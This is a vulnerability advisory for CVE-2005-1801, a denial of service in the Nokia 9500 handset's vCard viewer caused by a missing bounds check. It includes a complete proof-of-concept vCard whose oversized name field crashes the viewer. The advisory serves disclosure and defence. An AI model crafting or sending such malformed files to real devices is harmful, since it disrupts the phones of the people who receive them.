Nokia 9500 vCard Viewer Remote Denial of Service Vulnerability

Bugtraq ID:	13784
Class:	Boundary Condition Error
CVE:	CVE-2005-1801
Remote:	Yes
Local:	No
Published:	May 26 2005 12:00AM
Updated:	Jul 12 2009 02:56PM
Credit:	Discovery is credited to Marek Bialoglowy.
Vulnerable:	Nokia Nokia 9500
Not Vulnerable:

Nokia 9500 vCard Viewer Remote Denial of Service Vulnerability

Nokia 9500 handset vCard viewer is affected by a remote denial of service vulnerability.

This issue presents itself when the device handles a malformed vCard and fails to perform boundary checks prior to copying user-supplied data into a finite sized buffer.

Successful exploitation of this issue requires user interaction as a user is asked to accept the vCard followed by manually opening it.

Nokia 9500 vCard Viewer Remote Denial of Service Vulnerability

An exploit is not required.

The following proof of concept vCard is available:
--- Nokia9500.vcf ---
BEGIN:VCARD
VERSION:2.1
N:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;BIALOGLOWY
FN:Marek Bialoglowy
ORG:INDEPENDENT
TITLE:COO
TEL;WORK;VOICE:+6221
TEL;WORK;FAX;
ADR;WORK;ENCODING=QUOTED-PRINTABLE:;;Indonesia
LABEL;WORK;ENCODING=QUOTED-PRINTABLE:Indonesia
URL;WORK;
EMAIL;PREF;INTERNET:[email protected]
REV:20050430T1958490
END:VCARD
--- Nokia9500.vcf ---

Nokia 9500 vCard Viewer Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Nokia 9500 vCard Viewer Remote Denial of Service Vulnerability

References:

• Bluetooth Security Review, Part 2 (Marek Bialoglowy)
  
• Nokia Homepage (Nokia)